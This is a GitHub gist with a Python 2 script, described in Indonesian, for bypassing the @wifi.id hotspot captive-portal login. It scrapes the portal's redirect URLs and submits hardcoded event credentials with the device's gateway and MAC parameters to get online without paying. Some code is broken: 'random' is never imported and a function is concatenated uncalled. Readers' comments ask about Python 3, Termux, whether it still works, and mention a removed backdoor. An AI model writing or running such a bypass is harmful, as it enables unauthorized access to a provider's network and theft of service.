Last active
December 27, 2022 13:30
-
-
Save budanthara/6188a988575dc00ff63c06a0486b8887 to your computer and use it in GitHub Desktop.
Buat bypass autentikasi login @wifi.id
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
@WIFI.ID BYPASS WITH PYTHON | |
Cara menggunakan: | |
- Install python. | |
- Install library mechanize. | |
- Jalankan dengan perintah: python namafile.py | |
- Tunggu dan silahkan mencoba untuk browsing. | |
""" | |
import os | |
import mechanize | |
import urllib | |
import urllib2 | |
import re | |
import json | |
def rand_gen_phone(): | |
phone = '081' | |
for i in range(9): | |
phone += str(random.randint(0, 9)) | |
return phone | |
def banner(): | |
return """ | |
_____ .__ _____.__ .__ .___ | |
/ ___ \__ _ _|__|/ ____\__| |__| __| _/ | |
/ / ._\ \ \/ \/ / \ __\| | | |/ __ | | |
< \_____/\ /| || | | | | / /_/ | | |
\_____\ \/\_/ |__||__| |__| /\__\____ | | |
\/ \/ | |
copyright (c) 2016 - @wifi.id bypass by snoww0lf. | |
""" | |
def web_start(): | |
url = "http://detik.com" | |
browser = mechanize.Browser() | |
browser.set_handle_robots(False) | |
resp = browser.open(url).read() | |
store = resp | |
parse_urls = re.findall(r'<li>(.*)</li>', store)[1] | |
temp = parse_urls | |
parse_url = re.findall(r'<a href="(.*)">', temp)[0] | |
return "http://welcome2.wifi.id/wifi.id-new/default/" + parse_url | |
def main(): | |
try: | |
print banner() | |
url_input = web_start() | |
check = "http://welcome2.wifi.id/wifi.id-new/default/?gw_id=" | |
if url_input.startswith(check): | |
get_url(url_input) | |
else: | |
print "[x] Terjadi kesalahan ! [x]" | |
except Exception, e: | |
print "[-] Error -> %s [-]" % (e) | |
except KeyboardInterrupt: | |
print "[x] Aborted [x]" | |
def get_url(url_input): | |
url = "http://welcome2.wifi.id/wifi.id-new/default/melon.php" | |
browser = mechanize.Browser() | |
browser.set_handle_robots(False) | |
browser.addheaders = [('User-agent', 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30')] | |
resp = browser.open(url_input).read() | |
store = resp | |
parse_url = re.findall(r'<a href="melon.php?(.*)</a>', store)[0].split()[0][:-2] | |
process_input(url+parse_url) | |
def process_input(url): | |
final_url = "http://welcome2.wifi.id/authnew/login/check_login.php?" | |
browser = mechanize.Browser() | |
browser.set_handle_robots(False) | |
browser.addheaders = [('User-agent', 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30')] | |
resp = browser.open(url).read() | |
store = resp | |
parse_url = re.findall(r'https://(.*)', store)[1][:-8] | |
params = { | |
'username_':'melon', | |
'username':'melon.melon@event', | |
'password':'melon', | |
'landURL':'https://' + parse_url + str(rand_gen_phone) | |
} | |
split_url = url.split("&") | |
mac = ''.join(split_url[0]).split("?") | |
f_url = final_url + split_url[1] + "&" + split_url[2] + "&" + mac[1] | |
header = {'User-Agent': 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'} | |
urenc = urllib.urlencode(params) | |
req = urllib2.Request(f_url, urenc, headers=header) | |
res = urllib2.urlopen(req) | |
output = json.loads(res.read()) | |
print "[+] Status: %s [+]" % (output['message']) | |
if __name__ == '__main__': | |
main() |
ada yg versi python3nya g'??
apa masih bisa?
backdoor has been remove
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how it working it termux?